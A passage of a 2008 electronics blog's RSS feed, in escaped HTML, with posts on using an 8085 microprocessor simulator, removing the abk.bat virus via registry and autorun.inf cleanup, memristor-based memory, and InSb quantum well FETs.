/&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_XTElFWnvKxw/SSmX0eL6laI/AAAAAAAAARI/eWHWOF0RT30/s1600-h/saveanddump.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 314px;" src="http://3.bp.blogspot.com/_XTElFWnvKxw/SSmX0eL6laI/AAAAAAAAARI/eWHWOF0RT30/s400/saveanddump.JPG" alt="" id="BLOGGER_PHOTO_ID_5271911766525908386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(51, 51, 255); font-weight: bold;"&gt;Loading(8) &amp;amp; Dumping the RAM(9)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;The image above shows how to load the file named 16bitadd.Suppose we are exiting the 8085sim by saving the current program.At anytime later on we can try executing the same program by loading that program file into the memorymap of 8085sim.Here the saved file is 16bitadd.&lt;br /&gt;After succussfully loading the file the 8085sim prints a result as shown below.&lt;br /&gt;-----8-----File successfully loaded.&lt;br /&gt;where 8 is the number of code bytes in file.&lt;br /&gt;8085sim also has a memory map analysis file called MAP.RAM. To print the contents of memorymap of 8085sim (0000h to ffffh) select the number 9 from the mainmenu.It dumps the contents of RAM to a file named MAP.RAM.&lt;br /&gt;Assembler is under construction.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;For LINUX:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;I have tried the binary for Fedora Core 9.If there  is any problem please comment.&lt;br /&gt;For linux we have to copy the binary to the bin folder of root.&lt;br /&gt;First open a terminal .Login as a root user&lt;br /&gt;fedora home]$ su&lt;br /&gt;password:&lt;br /&gt;fedora home]#&lt;br /&gt;After the entry as a root the command prompt change from $ to #&lt;br /&gt;copu the 8085sim to /bin&lt;br /&gt;type&lt;br /&gt;home]# cp 8085sim /bin/8085sim&lt;br /&gt;home]#exit&lt;br /&gt;then the 8085sim binary will have entered into the /bin&lt;br /&gt;Now one can type the 8085sim command anywhere to run the simulator.One problem with running the simulator anywhere is that u may not be having enough permissions to create files in some folders.In such cases the save file will show error message .So always use a valid path .Preferably create a folder for 8085simulator.I have created a folder named 8085simfiles in my home directory.&lt;br /&gt;Now change the working directory to home ]$ cd /home/8085simfiles&lt;br /&gt;Now run  home]$8085sim&lt;br /&gt;We can see the 8085 mainmenu as shown below&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/SSmeT7jlnkI/AAAAAAAAARY/KcLqUxS8xVo/s1600-h/mainmenu.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/SSmeT7jlnkI/AAAAAAAAARY/KcLqUxS8xVo/s400/mainmenu.png" alt="" id="BLOGGER_PHOTO_ID_5271918904055537218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/SSmd1Jg0y4I/AAAAAAAAARQ/a0tBvY3DkUI/s1600-h/codeeditor.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/SSmd1Jg0y4I/AAAAAAAAARQ/a0tBvY3DkUI/s400/codeeditor.png" alt="" id="BLOGGER_PHOTO_ID_5271918375226100610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Code editor &amp;amp; Memory editor&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Image above shows the main menu.number 2 is enetered for the code editor we type in the hex code (no need to put H at the end to indicate hex) of the instructions and will at last put a 76H(HLT)instruction.HLT is a must for a program entered in 8085sim.Without an HLT (76H)8085sim will execute infinite loops , so is the case for real hardware.&lt;br /&gt;When we get into the code editor the&lt;br /&gt;Codeeditor&gt;&gt;$ ORIGIN :&lt;br /&gt;comes we have to type in the origin or starting address for the hexcode entry. After the entry it prints the mapoffset and pc content.For the mem editor the pc will be different than the map offset. Memory editor provides an interface to direct editing of memory. In this case we can store an array of numbers in some address and use that address in program.&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_XTElFWnvKxw/SSmekUvmihI/AAAAAAAAARg/hsStIT2n-fk/s1600-h/singlestep.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://3.bp.blogspot.com/_XTElFWnvKxw/SSmekUvmihI/AAAAAAAAARg/hsStIT2n-fk/s400/singlestep.png" alt="" id="BLOGGER_PHOTO_ID_5271919185694722578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/SSme3Ax6yPI/AAAAAAAAARo/b3zqWhnYqfA/s1600-h/normalexe.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/SSme3Ax6yPI/AAAAAAAAARo/b3zqWhnYqfA/s400/normalexe.png" alt="" id="BLOGGER_PHOTO_ID_5271919506753243378" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family: times new roman;font-size:130%;" &gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Single step(3) &amp;amp; Normal exe(4)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Image above shows the single stepping mode for 8085sim.After the hexcode entry by using the code editor we can use singlestepping(3) or normal exe(4), for executing the program.&lt;/span&gt;&lt;span style="font-family: times new roman;"&gt;When an instruction is executed the 8085sim diaplays all the reg contents below that after showing the instruction and address to which it has been entered.A single stepping or normal exe operation of 8085sim terminated with the execution of a 76 instruction.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/SSmfLLcuNOI/AAAAAAAAARw/wvQGP88D4eQ/s1600-h/saving.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/SSmfLLcuNOI/AAAAAAAAARw/wvQGP88D4eQ/s400/saving.png" alt="" id="BLOGGER_PHOTO_ID_5271919853214512354" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(51, 51, 255); font-family: times new roman;font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Saving the program in harddisk(7)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;The above image shows how to save a program that has been entered and executed to harddisk.&lt;/span&gt;&lt;span style="font-family: times new roman;"&gt;The 8085 sim sets aside a memory map in RAM of the system ,for virtual 8085simulation.The memory map starts form 0000H to ffffH in hex.So it sets aside 64Kb of memory in RAM.  After we leave the simulator it frees the RAM.When its been rerun it will initialise all the contents of RAM to 0H. So we need to write the entered hex code or memory content to hard disk. The purpose of save is to achieve this.We have to enter a file name and also the starting location of the code in memorymap.The saved file is created inside the folder to which the 8085sim was copied.When the file is saved successfully the 8085sim indicates it by printing the number of 8bit codes written to disk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;----8-----File written to secondary storage device.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Now we can exit the 8085sim by typing 5.&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a style="font-family: times new roman;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmfaFdpRzI/AAAAAAAAAR4/5aRPTi6cYhQ/s1600-h/loading.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmfaFdpRzI/AAAAAAAAAR4/5aRPTi6cYhQ/s400/loading.png" alt="" id="BLOGGER_PHOTO_ID_5271920109305808690" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family: times new roman;font-size:130%;" &gt;&lt;span style="color: rgb(51, 51, 255); font-weight: bold;"&gt;Loading(8) &amp;amp; Dumping the RAM(9)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;The image above shows how to load the file named 16bitadd.Suppose we are exiting the 8085sim by saving the current program.At anytime later on we can try executing the same program by loading that program file into the memorymap of 8085sim.Here the saved file is 16bitadd. After succussfully loading the file the 8085sim prints a result as shown below.&lt;br /&gt;-----8-----File successfully loaded.&lt;br /&gt;where 8 is the number of code bytes in file.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmfvt5v__I/AAAAAAAAASA/fmElZH95b6Y/s1600-h/dumping+memory.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmfvt5v__I/AAAAAAAAASA/fmElZH95b6Y/s400/dumping+memory.png" alt="" id="BLOGGER_PHOTO_ID_5271920480938360818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;8085sim also has a memory map analysis file called MAP.RAM. To print the contents of memorymap of 8085sim (0000h to ffffh) select the number 9 from the mainmenu.It dumps the contents of RAM to a file named MAP.RAM.Assembler is under construction.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-8126060979945484263?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/DcPCtDUU2WeROB5lRP5q1LsAe6Q/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DcPCtDUU2WeROB5lRP5q1LsAe6Q/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/DcPCtDUU2WeROB5lRP5q1LsAe6Q/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DcPCtDUU2WeROB5lRP5q1LsAe6Q/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/2Al23ylXm6w" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/2Al23ylXm6w/8085-simulator-for-windows-32-bit-linux.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_XTElFWnvKxw/SSmRzWGPJgI/AAAAAAAAAQw/CnzCo2YxRnY/s72-c/mainmenu%2Bcodeeditor.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/11/8085-simulator-for-windows-32-bit-linux.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-3641597701968419465</guid><pubDate>Sat, 22 Nov 2008 17:42:00 +0000</pubDate><atom:updated>2008-11-22T09:54:01.651-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Virus</category><title>How to remove abk.bat virus</title><description>Goto start&gt;run&gt;regedit&lt;br /&gt;delete the entry&lt;br /&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run kamsoft&lt;br /&gt;then reboot to another os preferably linux or to same system&lt;br /&gt;delete all autorun.inf files made by the abk.bat infection&lt;br /&gt;delete all abk.bats from all drives.&lt;br /&gt;We cannot see the file unless we make all hidden files unhidden.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;To enable the folder options &gt;view&gt;show hidden files and folders radiobutton&lt;/span&gt;&lt;br /&gt;goto HKlocal machine&gt;software&gt;microsoft&gt;windows&gt;current version&gt;explorer&gt;advanced&gt;folder&gt;hidden&gt;showall&gt;click on checkedvalue and make its value 1&lt;br /&gt;Then untick the hide protected os files in folderoptions &gt;view&lt;br /&gt;now the abk.bat files will be visible delete all of then including autorun.inf&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-3641597701968419465?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/J6OKndzg1p1SF3jMKQFpxYGq4Qg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J6OKndzg1p1SF3jMKQFpxYGq4Qg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/J6OKndzg1p1SF3jMKQFpxYGq4Qg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J6OKndzg1p1SF3jMKQFpxYGq4Qg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/fJ4Z1FtcokM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/fJ4Z1FtcokM/how-to-remove-abkbat-virus.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/11/how-to-remove-abkbat-virus.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-5444433506380364019</guid><pubDate>Fri, 14 Nov 2008 16:27:00 +0000</pubDate><atom:updated>2009-10-12T19:30:51.136-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Memristor</category><title>Ultra dense non volatile memories using memristors</title><description>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family:times new roman;"&gt;The memristor was first proposed by a scientist named LEON O.CHUA in 1971 as a fourth fundamental circuit element. The existence of such an element was mathematically proved and the theoretical properties were predicted using mathematical equations. But it was only in April 2008 the scientists were able to came up with a physical model to prove it.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Why the name memristor&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;By definition a memristor is characterized by a relation of the type g(Ψ, q)=O. It is said to be charge-controlled (flux-controlled) if this relation can be expressed as a single valued function of the charge q (flux-linkage Ψ). The voltage across a charge-controlled memristor is given by&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;v(t) = M(q(t)) . i(t)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;where&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;M(q) = d Ψ(q)/dq.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Since M(q) has the unit of resistance, it will henceforth be called the incremental memristance. The value of the incremental memristance at any time to depends upon the time integral of the memristor current (voltage) from t = - ∞ to t= to. Hence, while the memristor behaves like an ordinary resistor at a given instant of time to, its resistance) depends on the complete past history of the memristor current. The memory property of the memristor arises from this fact. It is interesting to observe that once the memristor voltage v(t) or current i(t) is specified, the memristor behaves like a linear time-varying resistor.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Thus while behaving like an ordinary resistor at any given instant of time t0, its resistance depends on the complete past history of the memristor current. Thus memristor is basically a charge dependent resistor. Since memristance is a function of charge which is the time integral of current, the memristor behaves like a nonlinear resistor. The equation v(t) = M(q) . i(t) gives linear relationship only when M(q) is constant. Constant M(q) means charge does not vary with time. But a nonzero current results in instantaneously varying charge. Thus M(q) results in a nonlinear relationship. Thus memristor has meaning only in nonlinear ckt.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Device structure and fabrication&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: times new roman;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_XTElFWnvKxw/SR2ueTPGD5I/AAAAAAAAAQg/giHk3wsKbHY/s1600-h/memristor.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 131px;" src="http://3.bp.blogspot.com/_XTElFWnvKxw/SR2ueTPGD5I/AAAAAAAAAQg/giHk3wsKbHY/s320/memristor.jpg" alt="" id="BLOGGER_PHOTO_ID_5268558974676242322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Single-crystalline TiO2 was used to elucidate how the metal/oxide interfaces control the device resistance. As shown in Fig. 1a, a single crystal of rutile TiO2 (bandgap Eg =3.0 eV) was first annealed in a 95% N2 and 5% H2 gas mixture at 550 °C for 2 h to create an oxygen-deficient layer near the surface. Oxygen vacancies in TiO2 are known to act as n-type dopants, transforming the insulating oxide into an electrically conductive doped semiconductor. Metal/semiconductor contacts are typically ohmic in the case of very heavy doping, and rectifying (Schottky-like) in the case of low doping. Two pairs of 100 µm x 100 µm Pt and Ti electrode contact pads were deposited onto the single crystal, as shown schematically in Fig. 1a: pads 1 and 4 were Pt films (80 nm thick) and pads 2 and 3 were Ti films (5 nm thick) with Pt (80 nm thick) caps. The 5-nm Ti layer was used as a chemically reactive contact to further reduce the TiO2 and create a locally high concentration of oxygen vacancies close to the metal/ semiconductor interface. These two regions showed an ohmic contact with resistance ~ 40Ω, showing that the bulk resistance of the annealed single crystal was low. In contrast, the electrical resistance between the two chemically unreactive Pt contact pads 1 and 4 was four orders of magnitude higher than the others.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:times new roman;" &gt;Memory Storage&lt;/span&gt;&lt;br /&gt;&lt;a style="font-family: times new roman;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/SR2uvCTIfaI/AAAAAAAAAQo/m0YIAeTdmUw/s1600-h/stru.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 182px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/SR2uvCTIfaI/AAAAAAAAAQo/m0YIAeTdmUw/s320/stru.jpg" alt="" id="BLOGGER_PHOTO_ID_5268559262187552162" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;The bipolar switching behavior of the nanoscale metal/metal oxide/metal memristors can be used to develop resistive non volatile RAMs (Re-NVRAMs). The researches and experiments are indicating that the memristor based Re- NVRAMs will be faster than the evolving memory technologies like MRAM, PCRAM etc and 100x times faster than flash memory. Also the scientists at HP have created an ultra high density crossbar switches, which use thin film memristors to pack a record 100Gbits per cm² in a single die compared to the 16Gbits for the highest density flash memory chips extant. The memristors made by HP are very small about 15nm.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;HP memristor based RRAMs will be using the crossbar architecture. Metal lines spaced less than 50-nm apart will serve as the bottom electrodes with the top electrodes patterned from metal lines arranged perpendicular to the bottom lines into a crossbar switch. In between the metal lines twin layers of titanium dioxide is sandwiched --one doped with oxygen vacancies and the other undoped. Running current between two metal lines--one on the top and one on the bottom--the device will be able to address individual bit cells, changing their resistance and thus turning bits on and off.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø Reading: The reading operation can be performed simply by applying a voltage lower than the threshold voltage. If the memristor is on then it will conduct even at the threshold voltage. If off it will not conduct. Thus binary data can be read.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø Writing: The writing operation can be performed by applying a voltage greater than the threshold voltage to write 0( or 1 depending upon the configuration) by making the memristor ON. To write a 1 (or 0) a voltage of opposite polarity whose magnitude is greater than the threshold voltage is applied which turns the memristor OFF.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø Addressing: Metal lines are arranged in two layers like rows and columns which are perpendicular with the other and are separated by the thin semiconductor film. Running current between the metal lines- one on the top and one on the bottom- the device will be able to access individual bit cells, changing their resistance and thus turning bits ON and OFF.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:times new roman;" &gt;Advantages of Memristive memory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø For the memristor based memories there is no need of refreshing the data as in the case of today’s DRAMs. This could drastically reduce the power consumption.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø The inductive and capacitive effects associated with the memristors are negligible. This eliminates the delays due to charging time, storage time, discharging time.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø The memristive behavior and speed is inversely proportional to the square of device size. So scaling down increases the performance by great extent.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø The memristors can packed at a very large density than transistors. 15nm memristors are made which can hold 100Gbits/cm². Even at 4nm, a square centimeter of memristor can hold one terabit ie 10¹² bits/cm².&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Ø Analog data storage is possible under controlled operation.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;input id="gwProxy" type="hidden"&gt;&lt;!--Session data--&gt;&lt;input onclick="jsCall();" id="jsProxy" type="hidden"&gt;&lt;/div&gt;&lt;div style="text-align: justify;" id="refHTML"&gt;&lt;/div&gt;&lt;input id="gwProxy" type="hidden"&gt;&lt;!--Session data--&gt;&lt;input onclick="jsCall();" id="jsProxy" type="hidden"&gt;&lt;div id="refHTML"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-5444433506380364019?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Sk1wNc6L92evRLfnj8AxO8edYoA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Sk1wNc6L92evRLfnj8AxO8edYoA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Sk1wNc6L92evRLfnj8AxO8edYoA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Sk1wNc6L92evRLfnj8AxO8edYoA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/hAGCYmPU7ZI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/hAGCYmPU7ZI/memristor-was-first-proposed-by.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_XTElFWnvKxw/SR2ueTPGD5I/AAAAAAAAAQg/giHk3wsKbHY/s72-c/memristor.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/11/memristor-was-first-proposed-by.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-6154097044997530821</guid><pubDate>Sat, 25 Oct 2008 14:55:00 +0000</pubDate><atom:updated>2009-05-07T23:58:39.887-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">QWFET</category><title>Quantum Well FET(QWFET)</title><description>&lt;div style="text-align: justify; font-family: times new roman;"&gt;Quantum mechanical effects become important when device geometries are scaled down to nanometer range. In ultra deep submicron regime, quantum mechanical effects can be a show stopper for device integration. InSb QWFET is a device utilizing the high mobility of InSb. InSb QWFET based circuits will consume less power and ultra high switching speeds can be achieved using it.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/SQMw2RxXJeI/AAAAAAAAAP4/_cdr8vdbf30/s1600-h/device+structure.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 174px;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/SQMw2RxXJeI/AAAAAAAAAP4/_cdr8vdbf30/s320/device+structure.jpg" alt="" id="BLOGGER_PHOTO_ID_5261102498740381154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The quantum well transistor architecture employs barrier layers with higher band-gap materials to mitigate the effect of the narrow band-gap InSb on device leakage and breakdown.The transistors were fabricated on a semi-insulating GaAs substrate using a relaxed metamorphic buffer layer of AlyIn1-ySb to accommodate lattice mismatch, a compressively strained InSb quantum well confined between layers of AlxIn1-xSb and a Schottky barrier metal gate. High speed carrier transport occurs in the low band-gap InSb quantum well (QW). The buffer layer is made of AlkIn1-kSb, with the indium concentration graded so that it can match the lattice constant of both the GaAs substrate and the InSb channel.&lt;br /&gt;&lt;br /&gt;The high speed of operation is achieved using the material property of InSb as well as the property of quantum wells.InSb is known to be the greatest mobility semiconductor. A remote doping concept is used to get ride of the impurity scattering.An extractive technology (substrate bias with potential hill)is used to extract the thermally generated carriers so that the device can be operated at room temp.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/SQMxBuJkbCI/AAAAAAAAAQA/XpsKzGH_voU/s1600-h/dcpowerdissft.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 243px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/SQMxBuJkbCI/AAAAAAAAAQA/XpsKzGH_voU/s320/dcpowerdissft.jpg" alt="" id="BLOGGER_PHOTO_ID_5261102695336668194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;For high speed direct coupled FET logic (DCFL) applications, both enhancement (i.e. positive VT) and depletion mode devices are required. An enhancement mode InSb QWFET is demonstrated for the first time using a deep recess etch in the gate region, which shows a peak fT of 305GHz at 0.5V VDS. A depletion mode device is demonstrated at the same time utilizing a shallow recess gate with a peak fT of 256GHz at 0.5V VDS. The demonstration of both high performance depletion and enhancement mode InSb QWFETs makes the technology a promising candidate for future high speed, low power logic applications. Enhancement device achieve record intrinsic speed of 305GHz .The record speed of the enhancement device is due to the deep recess etch. The deep recess etch increases the gate control of the device as described by the MOSFET ID(sat) equation. Recessed gate architecture improves the gate field to quantum well coupling, improving scalability. Scalability further increases by buffer p-type doping.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-6154097044997530821?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YBhm3rv2Hy1I3JGvQhf9QjAoXpE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YBhm3rv2Hy1I3JGvQhf9QjAoXpE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
